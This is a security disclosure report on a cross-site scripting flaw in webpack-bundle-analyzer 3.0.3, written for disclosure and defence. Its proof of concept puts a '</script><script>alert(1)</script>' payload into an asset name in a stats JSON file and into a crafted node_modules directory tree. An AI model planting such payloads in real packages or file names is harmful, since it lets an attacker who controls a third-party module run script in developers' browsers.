[webpack-bundle-analyzer] Cross-site Scripting

I would like to report Cross-site Scripting in `webpack-bundle-analyzer`. It allows injecting and executing arbitray JavaScript code. # Module **module name:** webpack-bundle-analyzer **version:** 3.0.3 **npm page:** `https://www.npmjs.com/package/webpack-bundle-analyzer` ## Module Description Visualize size of webpack output files with an interactive zoomable treemap. ## Module Stats 163083 downloads in the last day 952718 downloads in the last week 4033912 downloads in the last month # Vulnerability ## Vulnerability Description `webpack-bundle-analyzer` does not sanitize names of files and directories which may be used to inject malicious Javascript. ## Steps To Reproduce: ***Simple POC:*** * Install `webpack-bundle-analyzer` ``` npm i webpack-bundle-analyzer ``` * create an example of webpack-stats json file poc.json ```json { "outputPath": "./dist", "assets": [ { "name": "</script><script>alert(1)</script>main.js", "chunks": [0], "chunkNames": ["main"] } ] } ``` * run analyzer ``` node ./node_modules/webpack-bundle-analyzer/lib/bin/analyzer.js poc.json ``` default output should be: ``` Webpack Bundle Analyzer is started at http://127.0.0.1:8888 Use Ctrl+C to close it ``` * open the analyzer's url ``` http://localhost:8888 ``` * payload executes immidiately ***More In-depth example:*** Main task of the application is to visualize structure of output files compiled by webpack by parsing JSON file containing statistics about modules (https://webpack.js.org/api/stats/) generated by webpack. Projects usually include third-party modules, so by having access to thir-party module content (file names and directory structure) it is possible to manipulate the compilation statistics in `compilation-stats.json` file and as long as certain data from this file is passed to the page without sanitization https://github.com/webpack-contrib/webpack-bundle-analyzer/blob/master/views/viewer.ejs#L14 it is possible to inject payload For example this file structure: ``` node_modules/some-module-that-we-control/ ├── < │   └── script><script>alert(1)< │   └── script>module-name-that-is-included-in-index.js ├── index.js └── package.json ``` will result in something like this: ```javascript <script> window.chartData = [ {"some-data-here": "and here</script><script>alert(1)</script>module-name-that-is-included-in-index.js", "more-data":[]} ]; window.defaultSizes = "parsed"; window.enableWebSocket = true; </script> ``` I created project on Github for easier explanation: * Download repo ``` git clone https://github.com/inkz/poc-webpack-bundle-analyzer.git ``` ``` cd poc-webpack-bundle-analyzer/ ``` * Install dependencies ``` npm install ``` * Run webpack ``` npm run build ``` Output should be: ``` Webpack Bundle Analyzer is started at http://127.0.0.1:8888 Use Ctrl+C to close it ``` * open the url ``` http://localhost:8888 ``` * payload executes Refer to directory structure here https://github.com/inkz/poc-webpack-bundle-analyzer/tree/master/external/node_modules/poc-module and web page source code for better understanding ## Patch ## Supporting Material/References: - OS: Linux Mint current - Node.js: 8.11.1 - NPM: 6.4.0 # Wrap up - I contacted the maintainer to let them know: N - I opened an issue in the related repository: N ## Impact An attacker that is able to control third party module can execute malicious JavaScript.